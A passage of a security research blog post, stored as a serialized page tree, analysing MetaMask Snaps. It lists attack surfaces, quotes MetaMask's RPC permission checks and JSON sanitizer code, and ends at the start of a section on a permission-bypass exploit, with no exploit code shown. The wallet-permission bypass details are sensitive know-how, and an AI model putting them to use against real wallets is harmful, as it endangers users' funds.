",{"type":24,"tag":154,"props":39359,"children":39361},{"className":39360},[],[39362],{"type":29,"value":38681},{"type":29,"value":39364}," environment of that Compartment.",{"type":24,"tag":25,"props":39366,"children":39367},{},[39368],{"type":29,"value":39369},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":24,"tag":59,"props":39371,"children":39373},{"id":39372},"vulnerability-research",[39374],{"type":29,"value":39375},"Vulnerability research",{"type":24,"tag":395,"props":39377,"children":39379},{"id":39378},"possible-attacks",[39380],{"type":29,"value":39381},"Possible attacks",{"type":24,"tag":25,"props":39383,"children":39384},{},[39385],{"type":29,"value":39386},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":24,"tag":17924,"props":39388,"children":39389},{},[39390,39395,39400,39405],{"type":24,"tag":1790,"props":39391,"children":39392},{},[39393],{"type":29,"value":39394},"Broken SES Container isolation",{"type":24,"tag":1790,"props":39396,"children":39397},{},[39398],{"type":29,"value":39399},"Insecure endowments in Containers",{"type":24,"tag":1790,"props":39401,"children":39402},{},[39403],{"type":29,"value":39404},"Incorrect RPC permission checks",{"type":24,"tag":1790,"props":39406,"children":39407},{},[39408],{"type":29,"value":39409},"Insecure snap installation/update",{"type":24,"tag":25,"props":39411,"children":39412},{},[39413],{"type":29,"value":39414},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":24,"tag":25,"props":39416,"children":39417},{},[39418],{"type":29,"value":39419},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":24,"tag":395,"props":39421,"children":39423},{"id":39422},"rpc-interfaces-endowments",[39424],{"type":29,"value":39425},"RPC interfaces endowments",{"type":24,"tag":20134,"props":39427,"children":39429},{"id":39428},"providers-limitations",[39430],{"type":29,"value":39431},"Providers limitations",{"type":24,"tag":25,"props":39433,"children":39434},{},[39435,39437,39443,39444,39449,39451,39458],{"type":29,"value":39436},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":24,"tag":154,"props":39438,"children":39440},{"className":39439},[],[39441],{"type":29,"value":39442},"snap",{"type":29,"value":1826},{"type":24,"tag":154,"props":39445,"children":39447},{"className":39446},[],[39448],{"type":29,"value":32678},{"type":29,"value":39450}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":24,"tag":101,"props":39452,"children":39455},{"href":39453,"rel":39454},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[105],[39456],{"type":29,"value":39457},"methods",{"type":29,"value":225},{"type":24,"tag":147,"props":39460,"children":39462},{"className":36877,"code":39461,"language":36879,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[39463],{"type":24,"tag":154,"props":39464,"children":39465},{"__ignoreMap":7},[39466,39506,39514,39526,39596,39657,39669,39677,39688,39728,39758,39770,39795,39802,39810,39817,39855],{"type":24,"tag":158,"props":39467,"children":39468},{"class":160,"line":161},[39469,39474,39479,39484,39488,39493,39497,39502],{"type":24,"tag":158,"props":39470,"children":39471},{"style":1914},[39472],{"type":29,"value":39473},"export",{"type":24,"tag":158,"props":39475,"children":39476},{"style":165},[39477],{"type":29,"value":39478}," function",{"type":24,"tag":158,"props":39480,"children":39481},{"style":496},[39482],{"type":29,"value":39483}," assertSnapOutboundRequest",{"type":24,"tag":158,"props":39485,"children":39486},{"style":188},[39487],{"type":29,"value":504},{"type":24,"tag":158,"props":39489,"children":39490},{"style":177},[39491],{"type":29,"value":39492},"args",{"type":24,"tag":158,"props":39494,"children":39495},{"style":222},[39496],{"type":29,"value":225},{"type":24,"tag":158,"props":39498,"children":39499},{"style":171},[39500],{"type":29,"value":39501}," RequestArguments",{"type":24,"tag":158,"props":39503,"children":39504},{"style":188},[39505],{"type":29,"value":16038},{"type":24,"tag":158,"props":39507,"children":39508},{"class":160,"line":213},[39509],{"type":24,"tag":158,"props":39510,"children":39511},{"style":2588},[39512],{"type":29,"value":39513}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":24,"tag":158,"props":39515,"children":39516},{"class":160,"line":238},[39517,39522],{"type":24,"tag":158,"props":39518,"children":39519},{"style":496},[39520],{"type":29,"value":39521}," assert",{"type":24,"tag":158,"props":39523,"children":39524},{"style":188},[39525],{"type":29,"value":2156},{"type":24,"tag":158,"props":39527,"children":39528},{"class":160,"line":259},[39529,39534,39538,39543,39547,39552,39556,39561,39565,39569,39573,39578,39582,39587,39591],{"type":24,"tag":158,"props":39530,"children":39531},{"style":171},[39532],{"type":29,"value":39533}," String",{"type":24,"tag":158,"props":39535,"children":39536},{"style":188},[39537],{"type":29,"value":347},{"type":24,"tag":158,"props":39539,"children":39540},{"style":177},[39541],{"type":29,"value":39542},"prototype",{"type":24,"tag":158,"props":39544,"children":39545},{"style":188},[39546],{"type":29,"value":347},{"type":24,"tag":158,"props":39548,"children":39549},{"style":177},[39550],{"type":29,"value":39551},"startsWith",{"type":24,"tag":158,"props":39553,"children":39554},{"style":188},[39555],{"type":29,"value":347},{"type":24,"tag":158,"props":39557,"children":39558},{"style":496},[39559],{"type":29,"value":39560},"call",{"type":24,"tag":158,"props":39562,"children":39563},{"style":188},[39564],{"type":29,"value":504},{"type":24,"tag":158,"props":39566,"children":39567},{"style":177},[39568],{"type":29,"value":39492},{"type":24,"tag":158,"props":39570,"children":39571},{"style":188},[39572],{"type":29,"value":347},{"type":24,"tag":158,"props":39574,"children":39575},{"style":177},[39576],{"type":29,"value":39577},"method",{"type":24,"tag":158,"props":39579,"children":39580},{"style":188},[39581],{"type":29,"value":191},{"type":24,"tag":158,"props":39583,"children":39584},{"style":1108},[39585],{"type":29,"value":39586},"'wallet_'",{"type":24,"tag":158,"props":39588,"children":39589},{"style":188},[39590],{"type":29,"value":723},{"type":24,"tag":158,"props":39592,"children":39593},{"style":222},[39594],{"type":29,"value":39595},"||\n",{"type":24,"tag":158,"props":39597,"children":39598},{"class":160,"line":280},[39599,39604,39608,39612,39616,39620,39624,39628,39632,39636,39640,39644,39648,39653],{"type":24,"tag":158,"props":39600,"children":39601},{"style":171},[39602],{"type":29,"value":39603}," String",{"type":24,"tag":158,"props":39605,"children":39606},{"style":188},[39607],{"type":29,"value":347},{"type":24,"tag":158,"props":39609,"children":39610},{"style":177},[39611],{"type":29,"value":39542},{"type":24,"tag":158,"props":39613,"children":39614},{"style":188},[39615],{"type":29,"value":347},{"type":24,"tag":158,"props":39617,"children":39618},{"style":177},[39619],{"type":29,"value":39551},{"type":24,"tag":158,"props":39621,"children":39622},{"style":188},[39623],{"type":29,"value":347},{"type":24,"tag":158,"props":39625,"children":39626},{"style":496},[39627],{"type":29,"value":39560},{"type":24,"tag":158,"props":39629,"children":39630},{"style":188},[39631],{"type":29,"value":504},{"type":24,"tag":158,"props":39633,"children":39634},{"style":177},[39635],{"type":29,"value":39492},{"type":24,"tag":158,"props":39637,"children":39638},{"style":188},[39639],{"type":29,"value":347},{"type":24,"tag":158,"props":39641,"children":39642},{"style":177},[39643],{"type":29,"value":39577},{"type":24,"tag":158,"props":39645,"children":39646},{"style":188},[39647],{"type":29,"value":191},{"type":24,"tag":158,"props":39649,"children":39650},{"style":1108},[39651],{"type":29,"value":39652},"'snap_'",{"type":24,"tag":158,"props":39654,"children":39655},{"style":188},[39656],{"type":29,"value":8382},{"type":24,"tag":158,"props":39658,"children":39659},{"class":160,"line":301},[39660,39665],{"type":24,"tag":158,"props":39661,"children":39662},{"style":1108},[39663],{"type":29,"value":39664}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":24,"tag":158,"props":39666,"children":39667},{"style":188},[39668],{"type":29,"value":235},{"type":24,"tag":158,"props":39670,"children":39671},{"class":160,"line":626},[39672],{"type":24,"tag":158,"props":39673,"children":39674},{"style":188},[39675],{"type":29,"value":39676}," );\n",{"type":24,"tag":158,"props":39678,"children":39679},{"class":160,"line":668},[39680,39684],{"type":24,"tag":158,"props":39681,"children":39682},{"style":496},[39683],{"type":29,"value":39521},{"type":24,"tag":158,"props":39685,"children":39686},{"style":188},[39687],{"type":29,"value":2156},{"type":24,"tag":158,"props":39689,"children":39690},{"class":160,"line":676},[39691,39695,39700,39704,39708,39712,39716,39720,39724],{"type":24,"tag":158,"props":39692,"children":39693},{"style":222},[39694],{"type":29,"value":22214},{"type":24,"tag":158,"props":39696,"children":39697},{"style":177},[39698],{"type":29,"value":39699},"BLOCKED_RPC_METHODS",{"type":24,"tag":158,"props":39701,"children":39702},{"style":188},[39703],{"type":29,"value":347},{"type":24,"tag":158,"props":39705,"children":39706},{"style":496},[39707],{"type":29,"value":36444},{"type":24,"tag":158,"props":39709,"children":39710},{"style":188},[39711],{"type":29,"value":504},{"type":24,"tag":158,"props":39713,"children":39714},{"style":177},[39715],{"type":29,"value":39492},{"type":24,"tag":158,"props":39717,"children":39718},{"style":188},[39719],{"type":29,"value":347},{"type":24,"tag":158,"props":39721,"children":39722},{"style":177},[39723],{"type":29,"value":39577},{"type":24,"tag":158,"props":39725,"children":39726},{"style":188},[39727],{"type":29,"value":8382},{"type":24,"tag":158,"props":39729,"children":39730},{"class":160,"line":684},[39731,39736,39740,39745,39749,39754],{"type":24,"tag":158,"props":39732,"children":39733},{"style":177},[39734],{"type":29,"value":39735}," ethErrors",{"type":24,"tag":158,"props":39737,"children":39738},{"style":188},[39739],{"type":29,"value":347},{"type":24,"tag":158,"props":39741,"children":39742},{"style":177},[39743],{"type":29,"value":39744},"rpc",{"type":24,"tag":158,"props":39746,"children":39747},{"style":188},[39748],{"type":29,"value":347},{"type":24,"tag":158,"props":39750,"children":39751},{"style":496},[39752],{"type":29,"value":39753},"methodNotFound",{"type":24,"tag":158,"props":39755,"children":39756},{"style":188},[39757],{"type":29,"value":16375},{"type":24,"tag":158,"props":39759,"children":39760},{"class":160,"line":700},[39761,39766],{"type":24,"tag":158,"props":39762,"children":39763},{"style":177},[39764],{"type":29,"value":39765}," data:",{"type":24,"tag":158,"props":39767,"children":39768},{"style":188},[39769],{"type":29,"value":210},{"type":24,"tag":158,"props":39771,"children":39772},{"class":160,"line":785},[39773,39778,39783,39787,39791],{"type":24,"tag":158,"props":39774,"children":39775},{"style":177},[39776],{"type":29,"value":39777}," method:",{"type":24,"tag":158,"props":39779,"children":39780},{"style":177},[39781],{"type":29,"value":39782}," args",{"type":24,"tag":158,"props":39784,"children":39785},{"style":188},[39786],{"type":29,"value":347},{"type":24,"tag":158,"props":39788,"children":39789},{"style":177},[39790],{"type":29,"value":39577},{"type":24,"tag":158,"props":39792,"children":39793},{"style":188},[39794],{"type":29,"value":235},{"type":24,"tag":158,"props":39796,"children":39797},{"class":160,"line":1447},[39798],{"type":24,"tag":158,"props":39799,"children":39800},{"style":188},[39801],{"type":29,"value":38463},{"type":24,"tag":158,"props":39803,"children":39804},{"class":160,"line":1509},[39805],{"type":24,"tag":158,"props":39806,"children":39807},{"style":188},[39808],{"type":29,"value":39809}," }),\n",{"type":24,"tag":158,"props":39811,"children":39812},{"class":160,"line":1527},[39813],{"type":24,"tag":158,"props":39814,"children":39815},{"style":188},[39816],{"type":29,"value":39676},{"type":24,"tag":158,"props":39818,"children":39819},{"class":160,"line":1545},[39820,39825,39829,39833,39837,39842,39846,39851],{"type":24,"tag":158,"props":39821,"children":39822},{"style":496},[39823],{"type":29,"value":39824}," assertStruct",{"type":24,"tag":158,"props":39826,"children":39827},{"style":188},[39828],{"type":29,"value":504},{"type":24,"tag":158,"props":39830,"children":39831},{"style":177},[39832],{"type":29,"value":39492},{"type":24,"tag":158,"props":39834,"children":39835},{"style":188},[39836],{"type":29,"value":191},{"type":24,"tag":158,"props":39838,"children":39839},{"style":177},[39840],{"type":29,"value":39841},"JsonStruct",{"type":24,"tag":158,"props":39843,"children":39844},{"style":188},[39845],{"type":29,"value":191},{"type":24,"tag":158,"props":39847,"children":39848},{"style":1108},[39849],{"type":29,"value":39850},"'Provided value is not JSON-RPC compatible'",{"type":24,"tag":158,"props":39852,"children":39853},{"style":188},[39854],{"type":29,"value":1071},{"type":24,"tag":158,"props":39856,"children":39857},{"class":160,"line":1618},[39858],{"type":24,"tag":158,"props":39859,"children":39860},{"style":188},[39861],{"type":29,"value":307},{"type":24,"tag":25,"props":39863,"children":39864},{},[39865,39867,39872,39874,39880,39881,39887],{"type":29,"value":39866},"This function is called by the ",{"type":24,"tag":154,"props":39868,"children":39870},{"className":39869},[],[39871],{"type":29,"value":39442},{"type":29,"value":39873}," RPC provider, so it can only send methods starting with ",{"type":24,"tag":154,"props":39875,"children":39877},{"className":39876},[],[39878],{"type":29,"value":39879},"wallet_",{"type":29,"value":4028},{"type":24,"tag":154,"props":39882,"children":39884},{"className":39883},[],[39885],{"type":29,"value":39886},"snap_",{"type":29,"value":39888},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":24,"tag":25,"props":39890,"children":39891},{},[39892,39894,39899,39901,39906,39908,39914],{"type":29,"value":39893},"On the other hand, the ",{"type":24,"tag":154,"props":39895,"children":39897},{"className":39896},[],[39898],{"type":29,"value":32678},{"type":29,"value":39900}," provider only blocks methods starting with ",{"type":24,"tag":154,"props":39902,"children":39904},{"className":39903},[],[39905],{"type":29,"value":39886},{"type":29,"value":39907}," and the blocked methods. However, it requires the ",{"type":24,"tag":154,"props":39909,"children":39911},{"className":39910},[],[39912],{"type":29,"value":39913},"endowment:ethereum-provider",{"type":29,"value":39915}," permission in the snap manifest.",{"type":24,"tag":20134,"props":39917,"children":39919},{"id":39918},"execution-flow",[39920],{"type":29,"value":39921},"Execution flow",{"type":24,"tag":25,"props":39923,"children":39924},{},[39925,39927,39932,39933,39938,39940,39945,39946,39952],{"type":29,"value":39926},"Both providers (",{"type":24,"tag":154,"props":39928,"children":39930},{"className":39929},[],[39931],{"type":29,"value":39442},{"type":29,"value":1826},{"type":24,"tag":154,"props":39934,"children":39936},{"className":39935},[],[39937],{"type":29,"value":32678},{"type":29,"value":39939},") are built outside the SES container with a ",{"type":24,"tag":154,"props":39941,"children":39943},{"className":39942},[],[39944],{"type":29,"value":32754},{"type":29,"value":8106},{"type":24,"tag":101,"props":39947,"children":39950},{"href":39948,"rel":39949},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[105],[39951],{"type":29,"value":32638},{"type":29,"value":225},{"type":24,"tag":147,"props":39954,"children":39956},{"className":37194,"code":39955,"language":37196,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[39957],{"type":24,"tag":154,"props":39958,"children":39959},{"__ignoreMap":7},[39960,40007,40032,40065,40100,40112,40132,40170,40190,40197,40214,40247,40254],{"type":24,"tag":158,"props":39961,"children":39962},{"class":160,"line":161},[39963,39967,39971,39975,39979,39983,39987,39991,39995,39999,40003],{"type":24,"tag":158,"props":39964,"children":39965},{"style":165},[39966],{"type":29,"value":37452},{"type":24,"tag":158,"props":39968,"children":39969},{"style":496},[39970],{"type":29,"value":32643},{"type":24,"tag":158,"props":39972,"children":39973},{"style":222},[39974],{"type":29,"value":462},{"type":24,"tag":158,"props":39976,"children":39977},{"style":165},[39978],{"type":29,"value":37629},{"type":24,"tag":158,"props":39980,"children":39981},{"style":188},[39982],{"type":29,"value":2262},{"type":24,"tag":158,"props":39984,"children":39985},{"style":177},[39986],{"type":29,"value":39492},{"type":24,"tag":158,"props":39988,"children":39989},{"style":222},[39990],{"type":29,"value":225},{"type":24,"tag":158,"props":39992,"children":39993},{"style":171},[39994],{"type":29,"value":39501},{"type":24,"tag":158,"props":39996,"children":39997},{"style":188},[39998],{"type":29,"value":723},{"type":24,"tag":158,"props":40000,"children":40001},{"style":165},[40002],{"type":29,"value":16056},{"type":24,"tag":158,"props":40004,"children":40005},{"style":188},[40006],{"type":29,"value":210},{"type":24,"tag":158,"props":40008,"children":40009},{"class":160,"line":213},[40010,40015,40019,40023,40027],{"type":24,"tag":158,"props":40011,"children":40012},{"style":496},[40013],{"type":29,"value":40014}," assertSnapOutboundRequest",{"type":24,"tag":158,"props":40016,"children":40017},{"style":188},[40018],{"type":29,"value":504},{"type":24,"tag":158,"props":40020,"children":40021},{"style":177},[40022],{"type":29,"value":39492},{"type":24,"tag":158,"props":40024,"children":40025},{"style":188},[40026],{"type":29,"value":29611},{"type":24,"tag":158,"props":40028,"children":40029},{"style":2588},[40030],{"type":29,"value":40031},"// or assertEthereumOutboundRequest(args);\n",{"type":24,"tag":158,"props":40033,"children":40034},{"class":160,"line":238},[40035,40039,40044,40048,40053,40057,40061],{"type":24,"tag":158,"props":40036,"children":40037},{"style":165},[40038],{"type":29,"value":32808},{"type":24,"tag":158,"props":40040,"children":40041},{"style":177},[40042],{"type":29,"value":40043}," sanitizedArgs",{"type":24,"tag":158,"props":40045,"children":40046},{"style":222},[40047],{"type":29,"value":462},{"type":24,"tag":158,"props":40049,"children":40050},{"style":496},[40051],{"type":29,"value":40052}," getSafeJson",{"type":24,"tag":158,"props":40054,"children":40055},{"style":188},[40056],{"type":29,"value":504},{"type":24,"tag":158,"props":40058,"children":40059},{"style":177},[40060],{"type":29,"value":39492},{"type":24,"tag":158,"props":40062,"children":40063},{"style":188},[40064],{"type":29,"value":1071},{"type":24,"tag":158,"props":40066,"children":40067},{"class":160,"line":259},[40068,40073,40077,40082,40086,40090,40095],{"type":24,"tag":158,"props":40069,"children":40070},{"style":165},[40071],{"type":29,"value":40072}," this",{"type":24,"tag":158,"props":40074,"children":40075},{"style":188},[40076],{"type":29,"value":347},{"type":24,"tag":158,"props":40078,"children":40079},{"style":496},[40080],{"type":29,"value":40081},"notify",{"type":24,"tag":158,"props":40083,"children":40084},{"style":188},[40085],{"type":29,"value":32759},{"type":24,"tag":158,"props":40087,"children":40088},{"style":177},[40089],{"type":29,"value":32764},{"type":24,"tag":158,"props":40091,"children":40092},{"style":1108},[40093],{"type":29,"value":40094}," 'OutboundRequest'",{"type":24,"tag":158,"props":40096,"children":40097},{"style":188},[40098],{"type":29,"value":40099}," });\n",{"type":24,"tag":158,"props":40101,"children":40102},{"class":160,"line":280},[40103,40108],{"type":24,"tag":158,"props":40104,"children":40105},{"style":1914},[40106],{"type":29,"value":40107}," try",{"type":24,"tag":158,"props":40109,"children":40110},{"style":188},[40111],{"type":29,"value":210},{"type":24,"tag":158,"props":40113,"children":40114},{"class":160,"line":301},[40115,40119,40123,40128],{"type":24,"tag":158,"props":40116,"children":40117},{"style":1914},[40118],{"type":29,"value":16980},{"type":24,"tag":158,"props":40120,"children":40121},{"style":1914},[40122],{"type":29,"value":37475},{"type":24,"tag":158,"props":40124,"children":40125},{"style":496},[40126],{"type":29,"value":40127}," withTeardown",{"type":24,"tag":158,"props":40129,"children":40130},{"style":188},[40131],{"type":29,"value":2156},{"type":24,"tag":158,"props":40133,"children":40134},{"class":160,"line":626},[40135,40140,40144,40149,40153,40158,40162,40166],{"type":24,"tag":158,"props":40136,"children":40137},{"style":496},[40138],{"type":29,"value":40139}," originalRequest",{"type":24,"tag":158,"props":40141,"children":40142},{"style":188},[40143],{"type":29,"value":504},{"type":24,"tag":158,"props":40145,"children":40146},{"style":177},[40147],{"type":29,"value":40148},"sanitizedArgs",{"type":24,"tag":158,"props":40150,"children":40151},{"style":1914},[40152],{"type":29,"value":2231},{"type":24,"tag":158,"props":40154,"children":40155},{"style":171},[40156],{"type":29,"value":40157}," unknown",{"type":24,"tag":158,"props":40159,"children":40160},{"style":1914},[40161],{"type":29,"value":2231},{"type":24,"tag":158,"props":40163,"children":40164},{"style":171},[40165],{"type":29,"value":39501},{"type":24,"tag":158,"props":40167,"children":40168},{"style":188},[40169],{"type":29,"value":8382},{"type":24,"tag":158,"props":40171,"children":40172},{"class":160,"line":668},[40173,40178,40182,40186],{"type":24,"tag":158,"props":40174,"children":40175},{"style":165},[40176],{"type":29,"value":40177}," this",{"type":24,"tag":158,"props":40179,"children":40180},{"style":1914},[40181],{"type":29,"value":2231},{"type":24,"tag":158,"props":40183,"children":40184},{"style":171},[40185],{"type":29,"value":1176},{"type":24,"tag":158,"props":40187,"children":40188},{"style":188},[40189],{"type":29,"value":235},{"type":24,"tag":158,"props":40191,"children":40192},{"class":160,"line":676},[40193],{"type":24,"tag":158,"props":40194,"children":40195},{"style":188},[40196],{"type":29,"value":9384},{"type":24,"tag":158,"props":40198,"children":40199},{"class":160,"line":684},[40200,40205,40210],{"type":24,"tag":158,"props":40201,"children":40202},{"style":188},[40203],{"type":29,"value":40204}," } ",{"type":24,"tag":158,"props":40206,"children":40207},{"style":1914},[40208],{"type":29,"value":40209},"finally",{"type":24,"tag":158,"props":40211,"children":40212},{"style":188},[40213],{"type":29,"value":210},{"type":24,"tag":158,"props":40215,"children":40216},{"class":160,"line":700},[40217,40222,40226,40230,40234,40238,40243],{"type":24,"tag":158,"props":40218,"children":40219},{"style":165},[40220],{"type":29,"value":40221}," this",{"type":24,"tag":158,"props":40223,"children":40224},{"style":188},[40225],{"type":29,"value":347},{"type":24,"tag":158,"props":40227,"children":40228},{"style":496},[40229],{"type":29,"value":40081},{"type":24,"tag":158,"props":40231,"children":40232},{"style":188},[40233],{"type":29,"value":32759},{"type":24,"tag":158,"props":40235,"children":40236},{"style":177},[40237],{"type":29,"value":32764},{"type":24,"tag":158,"props":40239,"children":40240},{"style":1108},[40241],{"type":29,"value":40242}," 'OutboundResponse'",{"type":24,"tag":158,"props":40244,"children":40245},{"style":188},[40246],{"type":29,"value":40099},{"type":24,"tag":158,"props":40248,"children":40249},{"class":160,"line":785},[40250],{"type":24,"tag":158,"props":40251,"children":40252},{"style":188},[40253],{"type":29,"value":3549},{"type":24,"tag":158,"props":40255,"children":40256},{"class":160,"line":1447},[40257],{"type":24,"tag":158,"props":40258,"children":40259},{"style":188},[40260],{"type":29,"value":40261}," };\n",{"type":24,"tag":25,"props":40263,"children":40264},{},[40265,40267,40272,40274,40279],{"type":29,"value":40266},"In particular, this function is from the ",{"type":24,"tag":154,"props":40268,"children":40270},{"className":40269},[],[40271],{"type":29,"value":39442},{"type":29,"value":40273}," provider, but the only thing that changes between this and ",{"type":24,"tag":154,"props":40275,"children":40277},{"className":40276},[],[40278],{"type":29,"value":32678},{"type":29,"value":40280}," is the assert function in the first line.",{"type":24,"tag":25,"props":40282,"children":40283},{},[40284],{"type":29,"value":40285},"As we can see in the code, the execution flow follows this pattern:",{"type":24,"tag":1786,"props":40287,"children":40288},{},[40289,40301,40306],{"type":24,"tag":1790,"props":40290,"children":40291},{},[40292,40294,40299],{"type":29,"value":40293},"Assert if ",{"type":24,"tag":154,"props":40295,"children":40297},{"className":40296},[],[40298],{"type":29,"value":39492},{"type":29,"value":40300}," are valid",{"type":24,"tag":1790,"props":40302,"children":40303},{},[40304],{"type":29,"value":40305},"getSafeJson to get sanitizedArgs",{"type":24,"tag":1790,"props":40307,"children":40308},{},[40309],{"type":29,"value":40310},"originalRequest(sanitizedArgs)",{"type":24,"tag":25,"props":40312,"children":40313},{},[40314,40316,40322],{"type":29,"value":40315},"Obs: ",{"type":24,"tag":154,"props":40317,"children":40319},{"className":40318},[],[40320],{"type":29,"value":40321},"originalRequest",{"type":29,"value":40323}," makes the RPC call to metamask service worker",{"type":24,"tag":395,"props":40325,"children":40327},{"id":40326},"safe-json-exploit",[40328],{"type":29,"value":40329},"Safe JSON Exploit",{"type":24,"tag":25,"props":40331,"children":40332},{},[40333,40335,40341,40343,40348,40350,40356],{"type":29,"value":40334},"As we dug further into the",{"type":24,"tag":154,"props":40336,"children":40338},{"className":40337},[],[40339],{"type":29,"value":40340},"getSafeJson",{"type":29,"value":40342}," function (defined in ",{"type":24,"tag":154,"props":40344,"children":40346},{"className":40345},[],[40347],{"type":29,"value":38560},{"type":29,"value":40349}," package) we discovered the following ",{"type":24,"tag":101,"props":40351,"children":40354},{"href":40352,"rel":40353},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[105],[40355],{"type":29,"value":154},{"type":29,"value":225},{"type":24,"tag":147,"props":40358,"children":40360},{"className":36877,"code":40359,"language":36879,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[40361],{"type":24,"tag":154,"props":40362,"children":40363},{"__ignoreMap":7},[40364,40429,40456,40481,40536,40544,40591,40607,40614,40631,40638,40645],{"type":24,"tag":158,"props":40365,"children":40366},{"class":160,"line":161},[40367,40371,40376,40381,40385,40390,40394,40399,40403,40407,40412,40417,40421,40425],{"type":24,"tag":158,"props":40368,"children":40369},{"style":1914},[40370],{"type":29,"value":39473},{"type":24,"tag":158,"props":40372,"children":40373},{"style":165},[40374],{"type":29,"value":40375}," const",{"type":24,"tag":158,"props":40377,"children":40378},{"style":177},[40379],{"type":29,"value":40380}," JsonStruct",{"type":24,"tag":158,"props":40382,"children":40383},{"style":222},[40384],{"type":29,"value":462},{"type":24,"tag":158,"props":40386,"children":40387},{"style":496},[40388],{"type":29,"value":40389}," coerce",{"type":24,"tag":158,"props":40391,"children":40392},{"style":188},[40393],{"type":29,"value":504},{"type":24,"tag":158,"props":40395,"children":40396},{"style":177},[40397],{"type":29,"value":40398},"UnsafeJsonStruct",{"type":24,"tag":158,"props":40400,"children":40401},{"style":188},[40402],{"type":29,"value":191},{"type":24,"tag":158,"props":40404,"children":40405},{"style":496},[40406],{"type":29,"value":17951},{"type":24,"tag":158,"props":40408,"children":40409},{"style":188},[40410],{"type":29,"value":40411},"(), (",{"type":24,"tag":158,"props":40413,"children":40414},{"style":177},[40415],{"type":29,"value":40416},"value",{"type":24,"tag":158,"props":40418,"children":40419},{"style":188},[40420],{"type":29,"value":723},{"type":24,"tag":158,"props":40422,"children":40423},{"style":165},[40424],{"type":29,"value":16056},{"type":24,"tag":158,"props":40426,"children":40427},{"style":188},[40428],{"type":29,"value":210},{"type":24,"tag":158,"props":40430,"children":40431},{"class":160,"line":213},[40432,40436,40440,40444,40448,40452],{"type":24,"tag":158,"props":40433,"children":40434},{"style":496},[40435],{"type":29,"value":39824},{"type":24,"tag":158,"props":40437,"children":40438},{"style":188},[40439],{"type":29,"value":504},{"type":24,"tag":158,"props":40441,"children":40442},{"style":177},[40443],{"type":29,"value":40416},{"type":24,"tag":158,"props":40445,"children":40446},{"style":188},[40447],{"type":29,"value":191},{"type":24,"tag":158,"props":40449,"children":40450},{"style":177},[40451],{"type":29,"value":40398},{"type":24,"tag":158,"props":40453,"children":40454},{"style":188},[40455],{"type":29,"value":1071},{"type":24,"tag":158,"props":40457,"children":40458},{"class":160,"line":238},[40459,40464,40468,40472,40477],{"type":24,"tag":158,"props":40460,"children":40461},{"style":1914},[40462],{"type":29,"value":40463}," return",{"type":24,"tag":158,"props":40465,"children":40466},{"style":177},[40467],{"type":29,"value":38792},{"type":24,"tag":158,"props":40469,"children":40470},{"style":188},[40471],{"type":29,"value":347},{"type":24,"tag":158,"props":40473,"children":40474},{"style":496},[40475],{"type":29,"value":40476},"parse",{"type":24,"tag":158,"props":40478,"children":40479},{"style":188},[40480],{"type":29,"value":2156},{"type":24,"tag":158,"props":40482,"children":40483},{"class":160,"line":259},[40484,40489,40493,40498,40502,40506,40510,40515,40519,40524,40528,40532],{"type":24,"tag":158,"props":40485,"children":40486},{"style":177},[40487],{"type":29,"value":40488}," JSON",{"type":24,"tag":158,"props":40490,"children":40491},{"style":188},[40492],{"type":29,"value":347},{"type":24,"tag":158,"props":40494,"children":40495},{"style":496},[40496],{"type":29,"value":40497},"stringify",{"type":24,"tag":158,"props":40499,"children":40500},{"style":188},[40501],{"type":29,"value":504},{"type":24,"tag":158,"props":40503,"children":40504},{"style":177},[40505],{"type":29,"value":40416},{"type":24,"tag":158,"props":40507,"children":40508},{"style":188},[40509],{"type":29,"value":2222},{"type":24,"tag":158,"props":40511,"children":40512},{"style":177},[40513],{"type":29,"value":40514},"propKey",{"type":24,"tag":158,"props":40516,"children":40517},{"style":188},[40518],{"type":29,"value":191},{"type":24,"tag":158,"props":40520,"children":40521},{"style":177},[40522],{"type":29,"value":40523},"propValue",{"type":24,"tag":158,"props":40525,"children":40526},{"style":188},[40527],{"type":29,"value":723},{"type":24,"tag":158,"props":40529,"children":40530},{"style":165},[40531],{"type":29,"value":16056},{"type":24,"tag":158,"props":40533,"children":40534},{"style":188},[40535],{"type":29,"value":210},{"type":24,"tag":158,"props":40537,"children":40538},{"class":160,"line":280},[40539],{"type":24,"tag":158,"props":40540,"children":40541},{"style":2588},[40542],{"type":29,"value":40543}," // Strip __proto__ and constructor properties to prevent prototype 